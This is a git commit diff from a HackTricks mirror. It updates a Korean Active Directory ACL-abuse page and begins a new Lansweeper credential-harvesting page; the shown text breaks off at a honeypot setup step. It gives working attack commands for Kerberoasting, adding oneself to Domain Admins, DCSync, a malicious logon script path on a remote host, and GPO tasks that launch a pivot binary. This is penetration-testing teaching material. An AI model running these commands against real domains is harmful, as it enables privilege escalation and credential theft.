mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
parent
2c39e15d58
commit
a2451e20df
@ -284,6 +284,7 @@
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
|
||||
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
|
||||
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
|
||||
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,70 +2,79 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이 페이지는 주로** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **와** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**의 기술 요약입니다. 더 자세한 내용은 원본 기사를 확인하세요.**
|
||||
**이 페이지는 주로 다음 글들의 기법을 요약한 것입니다:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **및** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. 자세한 내용은 원문 기사를 확인하세요.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
|
||||
{{#ref}}
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **사용자에 대한 GenericAll 권한**
|
||||
## **GenericAll 사용자에 대한 전체 권한**
|
||||
|
||||
이 권한은 공격자에게 대상 사용자 계정에 대한 완전한 제어를 부여합니다. `Get-ObjectAcl` 명령을 사용하여 `GenericAll` 권한이 확인되면, 공격자는 다음을 수행할 수 있습니다:
|
||||
이 권한은 공격자에게 대상 사용자 계정에 대한 전체 제어 권한을 부여합니다. `GenericAll` 권한이 `Get-ObjectAcl` 명령으로 확인되면, 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **대상의 비밀번호 변경**: `net user <username> <password> /domain`을 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
|
||||
- **대상 Kerberoasting**: 사용자의 계정에 SPN을 할당하여 kerberoastable하게 만든 후, Rubeus와 targetedKerberoast.py를 사용하여 티켓 부여 티켓(TGT) 해시를 추출하고 크랙을 시도할 수 있습니다.
|
||||
- **대상의 비밀번호 변경**: `net user <username> <password> /domain`를 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
|
||||
- **Targeted Kerberoasting**: 사용자 계정에 SPN을 할당하여 kerberoastable 상태로 만든 다음, Rubeus와 targetedKerberoast.py를 사용해 ticket-granting ticket (TGT) 해시를 추출하고 크랙을 시도합니다.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: 사용자의 사전 인증을 비활성화하여 해당 계정을 ASREPRoasting에 취약하게 만듭니다.
|
||||
- **Targeted ASREPRoasting**: 해당 사용자의 pre-authentication을 비활성화하여 계정이 ASREPRoasting에 취약해지게 합니다.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll 권한이 있는 그룹**
|
||||
## **그룹에 대한 GenericAll 권한**
|
||||
|
||||
이 권한은 공격자가 `Domain Admins`와 같은 그룹에 `GenericAll` 권한이 있을 경우 그룹 구성원을 조작할 수 있게 해줍니다. `Get-NetGroup`을 사용하여 그룹의 고유 이름을 식별한 후, 공격자는:
|
||||
이 권한은 공격자가 `Domain Admins`와 같은 그룹에 대해 `GenericAll` 권한을 가지고 있다면 그룹 멤버십을 조작할 수 있게 합니다. `Get-NetGroup`으로 그룹의 distinguished name을 확인한 후 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령을 통해 또는 Active Directory나 PowerSploit와 같은 모듈을 사용하여 수행할 수 있습니다.
|
||||
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령을 통해 또는 Active Directory나 PowerSploit 같은 모듈을 사용하여 수행할 수 있습니다.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Linux에서 GenericAll/Write 멤버십을 보유한 경우 BloodyAD를 사용해 임의의 그룹에 자신을 추가할 수 있습니다. 대상 그룹이 “Remote Management Users”에 중첩되어 있으면 해당 그룹을 적용하는 호스트에서 즉시 WinRM 접근 권한을 얻습니다:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
|
||||
# If the target group is member of "Remote Management Users", WinRM becomes available
|
||||
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
이러한 권한을 컴퓨터 객체나 사용자 계정에서 보유하면 다음을 수행할 수 있습니다:
|
||||
이러한 권한을 컴퓨터 오브젝트나 사용자 계정에 보유하면 다음이 가능합니다:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 객체를 장악할 수 있게 해줍니다.
|
||||
- **Shadow Credentials**: 이 기술을 사용하여 권한을 이용해 그림자 자격 증명을 생성함으로써 컴퓨터 또는 사용자 계정을 가장할 수 있습니다.
|
||||
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 오브젝트를 탈취할 수 있습니다.
|
||||
- **Shadow Credentials**: 권한을 이용해 Shadow Credentials를 생성하여 컴퓨터나 사용자 계정을 가장할 수 있습니다.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있다면, 다음을 수행할 수 있습니다:
|
||||
사용자가 특정 그룹(예: `Domain Admins`)에 대한 모든 객체에 대해 `WriteProperty` 권한을 가지고 있으면, 다음을 수행할 수 있습니다:
|
||||
|
||||
- **자신을 Domain Admins 그룹에 추가**: `net user`와 `Add-NetGroupUser` 명령을 결합하여 이 방법으로 도메인 내에서 권한 상승을 할 수 있습니다.
|
||||
- **Domain Admins 그룹에 자신을 추가**: `net user`와 `Add-NetGroupUser` 명령을 조합해 달성할 수 있으며, 이 방법은 도메인 내에서 privilege escalation을 허용합니다.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
이 권한은 공격자가 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 해줍니다. 그룹 멤버십을 직접 조작하는 명령을 통해 가능합니다. 다음 명령 시퀀스를 사용하면 자기 추가가 가능합니다:
|
||||
이 권한은 공격자가 그룹 멤버십을 직접 조작하는 명령을 통해 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 합니다. 다음 명령 시퀀스를 사용하면 자신을 추가할 수 있습니다:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
유사한 권한으로, 공격자는 해당 그룹에 대한 `WriteProperty` 권한이 있는 경우 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인 및 실행은 다음과 같이 수행됩니다:
|
||||
유사한 권한으로, 공격자는 해당 그룹에 대해 `WriteProperty` 권한이 있는 경우 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인 및 실행은 다음을 통해 수행됩니다:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
`User-Force-Change-Password`에 대한 사용자의 `ExtendedRight`를 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 검증 및 악용은 PowerShell 또는 대체 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션 및 비대화형 환경을 위한 원라이너를 포함하여 사용자의 비밀번호를 재설정하는 여러 방법을 제공합니다. 명령은 간단한 PowerShell 호출에서 Linux의 `rpcclient` 사용에 이르기까지 다양하여 공격 벡터의 다재다능함을 보여줍니다.
|
||||
사용자에 대해 `ExtendedRight`로 지정된 `User-Force-Change-Password` 권한을 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 확인 및 악용은 PowerShell 또는 기타 명령줄 도구를 통해 수행할 수 있으며, interactive sessions와 비대화형 환경을 위한 one-liners를 포함한 여러 방법으로 사용자의 비밀번호를 재설정할 수 있습니다. 명령어는 간단한 PowerShell 호출부터 Linux에서 `rpcclient`를 사용하는 것까지 다양하여 공격 벡터의 유연성을 보여줍니다.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -78,7 +87,7 @@ rpcclient -U KnownUsername 10.10.10.192
|
||||
```
|
||||
## **WriteOwner on Group**
|
||||
|
||||
공격자가 그룹에 대해 `WriteOwner` 권한을 가지고 있다고 판단하면, 그들은 그룹의 소유권을 자신으로 변경할 수 있습니다. 이는 해당 그룹이 `Domain Admins`일 경우 특히 영향력이 큽니다. 소유권을 변경하면 그룹 속성과 구성원에 대한 더 넓은 제어가 가능해집니다. 이 과정은 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음, SID 또는 이름을 사용하여 `Set-DomainObjectOwner`를 통해 소유자를 수정하는 것을 포함합니다.
|
||||
공격자가 특정 그룹에 대해 `WriteOwner` 권한을 가지고 있다는 것을 알게 되면, 해당 그룹의 소유자를 자신으로 변경할 수 있습니다. 이 권한은 대상 그룹이 `Domain Admins`일 경우 특히 큰 영향을 미치며, 소유권 변경을 통해 그룹 속성 및 멤버십을 더 광범위하게 제어할 수 있습니다. 이 절차는 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음 `Set-DomainObjectOwner`를 사용하여 SID 또는 이름으로 소유자를 변경하는 것을 포함합니다.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -86,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
이 권한은 공격자가 사용자 속성을 수정할 수 있게 해줍니다. 특히, `GenericWrite` 접근 권한을 통해 공격자는 사용자의 로그온 스크립트 경로를 변경하여 사용자가 로그온할 때 악성 스크립트를 실행할 수 있습니다. 이는 `Set-ADObject` 명령을 사용하여 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 달성됩니다.
|
||||
이 권한은 공격자가 사용자 속성을 수정할 수 있게 합니다. 구체적으로, `GenericWrite` 접근 권한을 통해 공격자는 사용자의 로그온 스크립트 경로를 변경해 사용자가 로그온할 때 악성 스크립트를 실행하게 할 수 있습니다. 이는 `Set-ADObject` 명령을 사용해 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 이루어집니다.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
## **GenericWrite on Group
|
||||
|
||||
이 권한을 통해 공격자는 그룹 구성원을 조작할 수 있으며, 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가할 수 있습니다. 이 과정은 자격 증명 객체를 생성하고, 이를 사용하여 그룹에서 사용자를 추가하거나 제거하며, PowerShell 명령으로 구성원 변경 사항을 확인하는 것을 포함합니다.
|
||||
이 권한을 통해 공격자는 그룹 멤버십을 조작할 수 있습니다. 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가하는 등의 작업이 가능합니다. 이 과정은 credential object를 생성하고, 이를 사용해 그룹에서 사용자를 추가하거나 제거한 뒤 PowerShell 명령으로 멤버십 변경을 확인하는 것을 포함합니다.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -102,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
AD 객체를 소유하고 그에 대한 `WriteDACL` 권한을 가지면 공격자는 자신에게 해당 객체에 대한 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 구성원 자격을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고 Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlet을 사용하여 이러한 권한을 악용하려고 할 때 제한 사항이 존재합니다.
|
||||
AD 객체를 소유하고 `WriteDACL` 권한을 가지고 있으면 공격자는 해당 객체에 대해 자신에게 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 멤버십을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고, Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlets를 사용하여 이러한 권한을 악용하려고 할 때는 제한 사항이 존재합니다.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -112,64 +121,64 @@ $ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **도메인에서의 복제 (DCSync)**
|
||||
|
||||
DCSync 공격은 도메인에서 특정 복제 권한을 활용하여 도메인 컨트롤러를 모방하고 사용자 자격 증명을 포함한 데이터를 동기화합니다. 이 강력한 기술은 `DS-Replication-Get-Changes`와 같은 권한을 요구하며, 공격자가 도메인 컨트롤러에 직접 접근하지 않고도 AD 환경에서 민감한 정보를 추출할 수 있게 합니다. [**DCSync 공격에 대해 더 알아보세요.**](../dcsync.md)
|
||||
DCSync 공격은 도메인의 특정 복제 권한을 활용해 Domain Controller를 가장하고 사용자 자격 증명을 포함한 데이터를 동기화합니다. 이 강력한 기법은 `DS-Replication-Get-Changes` 같은 권한을 필요로 하며, 공격자가 Domain Controller에 직접 접근하지 않고도 AD 환경에서 민감한 정보를 추출할 수 있게 합니다. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPO 위임 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO 위임
|
||||
### GPO Delegation
|
||||
|
||||
그룹 정책 개체(GPO)를 관리하기 위한 위임된 접근은 상당한 보안 위험을 초래할 수 있습니다. 예를 들어, `offense\spotless`와 같은 사용자가 GPO 관리 권한을 위임받으면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 PowerView를 사용하여 악용될 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Group Policy Objects (GPOs)를 관리할 수 있는 위임된 접근 권한은 심각한 보안 위험을 초래할 수 있습니다. 예를 들어 `offense\spotless` 같은 사용자에게 GPO 관리 권한이 위임되어 있다면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 악의적으로 남용될 수 있으며, PowerView를 사용해 다음과 같이 식별할 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### GPO 권한 열거
|
||||
### Enumerate GPO Permissions
|
||||
|
||||
잘못 구성된 GPO를 식별하기 위해 PowerSploit의 cmdlet을 연결하여 사용할 수 있습니다. 이를 통해 특정 사용자가 관리할 수 있는 GPO를 발견할 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
잘못 구성된 GPO를 식별하기 위해 PowerSploit의 cmdlet들을 연결(chain)해서 사용할 수 있습니다. 이를 통해 특정 사용자가 관리 권한을 가진 GPO를 발견할 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**적용된 정책이 있는 컴퓨터**: 특정 GPO가 적용된 컴퓨터를 확인할 수 있으며, 이는 잠재적 영향 범위를 이해하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**지정된 정책이 적용된 컴퓨터**: 특정 GPO가 적용되는 컴퓨터를 확인할 수 있어 잠재적 영향 범위를 이해하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 적용된 정책을 보려면 `Get-DomainGPO`와 같은 명령을 사용할 수 있습니다.
|
||||
**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 어떤 정책이 적용되어 있는지 확인하려면 `Get-DomainGPO` 같은 명령을 사용할 수 있습니다.
|
||||
|
||||
**적용된 정책이 있는 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하기 위해 `Get-DomainOU`를 사용할 수 있습니다.
|
||||
**특정 정책이 적용된 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하려면 `Get-DomainOU`를 사용합니다.
|
||||
|
||||
또한 [**GPOHound**](https://github.com/cogiceo/GPOHound) 도구를 사용하여 GPO를 열거하고 문제를 찾을 수 있습니다.
|
||||
또한 도구 [**GPOHound**](https://github.com/cogiceo/GPOHound)를 사용하여 GPO를 열거하고 문제를 찾을 수 있습니다.
|
||||
|
||||
### GPO 악용 - New-GPOImmediateTask
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
|
||||
잘못 구성된 GPO는 코드를 실행하는 데 악용될 수 있으며, 예를 들어 즉시 예약된 작업을 생성하여 영향을 받는 머신의 로컬 관리자 그룹에 사용자를 추가할 수 있습니다. 이는 권한을 크게 상승시킵니다:
|
||||
잘못 구성된 GPO는 즉시 실행되는 스케줄된 작업을 생성하는 식으로 코드 실행에 악용될 수 있습니다. 이를 통해 영향받는 시스템의 로컬 Administrators 그룹에 사용자를 추가하여 권한을 크게 상승시킬 수 있습니다:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy 모듈 - GPO 남용
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
GroupPolicy 모듈이 설치된 경우, 새로운 GPO를 생성하고 연결할 수 있으며, 영향을 받는 컴퓨터에서 백도어를 실행하기 위한 레지스트리 값과 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다:
|
||||
GroupPolicy module가 설치되어 있으면 새로운 GPOs를 생성하고 연결할 수 있으며, 영향을 받는 컴퓨터에서 backdoors를 실행하도록 registry values와 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - GPO 악용
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse는 새로운 GPO를 생성할 필요 없이 기존 GPO를 악용하여 작업을 추가하거나 설정을 수정하는 방법을 제공합니다. 이 도구는 변경 사항을 적용하기 전에 기존 GPO를 수정하거나 RSAT 도구를 사용하여 새로운 GPO를 생성해야 합니다:
|
||||
SharpGPOAbuse는 새 GPO를 생성할 필요 없이 작업을 추가하거나 설정을 수정하여 기존 GPOs를 abuse하는 방법을 제공합니다. 이 도구는 변경 사항을 적용하기 전 기존 GPOs를 수정하거나 RSAT 도구를 사용해 새 GPOs를 생성해야 합니다:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### 정책 강제 업데이트
|
||||
### 정책 업데이트 강제
|
||||
|
||||
GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 프로세스를 가속화하기 위해, 특히 변경 사항을 구현한 후에, 대상 컴퓨터에서 `gpupdate /force` 명령을 사용하여 즉각적인 정책 업데이트를 강제할 수 있습니다. 이 명령은 GPO에 대한 모든 수정 사항이 다음 자동 업데이트 주기를 기다리지 않고 적용되도록 보장합니다.
|
||||
GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 과정을 앞당기려면, 특히 변경을 적용한 직후에 대상 컴퓨터에서 `gpupdate /force` 명령을 사용해 즉시 정책 업데이트를 강제할 수 있습니다. 이 명령은 다음 자동 업데이트 주기를 기다리지 않고 GPO에 대한 모든 수정 사항이 적용되도록 보장합니다.
|
||||
|
||||
### 내부 작동
|
||||
### 내부 동작
|
||||
|
||||
주어진 GPO의 예약된 작업을 검사하면, `Misconfigured Policy`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 수정하거나 권한을 상승시키기 위한 스크립트나 명령줄 도구를 통해 생성됩니다.
|
||||
특정 GPO(예: `Misconfigured Policy`)의 Scheduled Tasks를 검사하면 `evilTask`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 변경하거나 권한을 상승시키기 위해 스크립트나 명령줄 도구를 통해 생성됩니다.
|
||||
|
||||
`New-GPOImmediateTask`에 의해 생성된 XML 구성 파일에 표시된 작업의 구조는 예약된 작업의 세부 사항을 설명합니다 - 실행할 명령과 그 트리거를 포함합니다. 이 파일은 GPO 내에서 예약된 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 집행의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
|
||||
`New-GPOImmediateTask`로 생성된 XML 구성 파일에 표시된 작업의 구조는 실행할 명령과 트리거를 포함하여 예약 작업의 세부사항을 설명합니다. 이 파일은 GPO 내에서 예약 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 적용의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
|
||||
|
||||
### 사용자 및 그룹
|
||||
|
||||
GPO는 또한 대상 시스템에서 사용자 및 그룹 구성원의 조작을 허용합니다. 사용자 및 그룹 정책 파일을 직접 편집함으로써, 공격자는 로컬 `administrators` 그룹과 같은 특권 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 이는 정책 파일을 수정하여 새로운 사용자를 포함하거나 그룹 구성원을 변경할 수 있도록 허용합니다.
|
||||
GPO는 대상 시스템에서 사용자 및 그룹 멤버십을 조작할 수도 있습니다. Users and Groups 정책 파일을 직접 편집함으로써 공격자는 로컬 `administrators` 그룹과 같은 권한이 부여된 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 정책 파일을 수정하여 새로운 사용자를 포함하거나 그룹 멤버십을 변경할 수 있게 합니다.
|
||||
|
||||
사용자 및 그룹에 대한 XML 구성 파일은 이러한 변경 사항이 어떻게 구현되는지를 설명합니다. 이 파일에 항목을 추가함으로써, 특정 사용자에게 영향을 받는 시스템에서 상승된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 권한 상승에 대한 직접적인 접근 방식을 제공합니다.
|
||||
Users and Groups용 XML 구성 파일은 이러한 변경이 어떻게 구현되는지를 개략적으로 보여줍니다. 이 파일에 항목을 추가하면 특정 사용자에게 영향을 받는 시스템 전반에서 상승된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 권한 상승의 직접적인 접근법을 제공합니다.
|
||||
|
||||
또한, 로그온/로그오프 스크립트를 활용하거나, 자동 실행을 위한 레지스트리 키를 수정하거나, .msi 파일을 통해 소프트웨어를 설치하거나, 서비스 구성을 편집하는 등의 코드를 실행하거나 지속성을 유지하기 위한 추가 방법도 고려할 수 있습니다. 이러한 기술은 GPO의 남용을 통해 접근을 유지하고 대상 시스템을 제어하는 다양한 경로를 제공합니다.
|
||||
또한 logon/logoff 스크립트 활용, autoruns용 레지스트리 키 수정, .msi 파일을 통한 소프트웨어 설치, 서비스 구성 편집 등 코드 실행이나 지속성을 유지하기 위한 추가적인 방법들도 고려될 수 있습니다. 이러한 기법들은 GPO 남용을 통해 접근을 유지하고 대상 시스템을 제어할 수 있는 다양한 경로를 제공합니다.
|
||||
|
||||
## 참고 문헌
|
||||
## 참고 자료
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
|
@ -0,0 +1,153 @@
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper는 Windows에 배포되고 Active Directory와 통합되어 사용되는 IT 자산 탐지 및 인벤토리 플랫폼입니다. Lansweeper에 구성된 자격증명은 SSH, SMB/WMI, WinRM 같은 프로토콜을 통해 자산에 인증하기 위해 스캐닝 엔진에서 사용됩니다. 잘못된 구성으로 인해 자주 발생하는 문제는 다음과 같습니다:
|
||||
|
||||
- 스캐닝 대상(target)을 공격자 제어 호스트(honeypot)로 리다이렉트하여 자격증명 가로채기
|
||||
- Lansweeper 관련 그룹들이 노출하는 AD ACL을 악용해 원격 접근 획득
|
||||
- 호스트에서 Lansweeper에 구성된 비밀(연결 문자열 및 저장된 스캔 자격증명) 복호화
|
||||
- Deployment 기능을 통해 관리되는 엔드포인트에서 코드 실행(종종 SYSTEM으로 실행)
|
||||
|
||||
이 페이지는 실제 공격자가 인게이지먼트 동안 이러한 동작을 악용하는 워크플로우와 명령을 요약합니다.
|
||||
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
|
||||
아이디어: Scanning Target을 당신의 호스트로 가리키게 만들고 기존 Scanning Credentials를 거기에 매핑합니다. 스캔이 실행되면 Lansweeper는 해당 자격증명으로 인증을 시도하고, 당신의 honeypot이 그 시도된 자격증명을 캡처합니다.
|
||||
|
||||
Steps overview (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
- Type: IP Range (or Single IP) = your VPN IP
|
||||
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
|
||||
- Disable schedule and plan to trigger manually
|
||||
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
|
||||
- Click “Scan now” on the target
|
||||
- Run an SSH honeypot and retrieve the attempted username/password
|
||||
|
||||
Example with sshesame:
|
||||
```yaml
|
||||
# sshesame.conf
|
||||
server:
|
||||
listen_address: 10.10.14.79:2022
|
||||
```
|
||||
|
||||
```bash
|
||||
# Install and run
|
||||
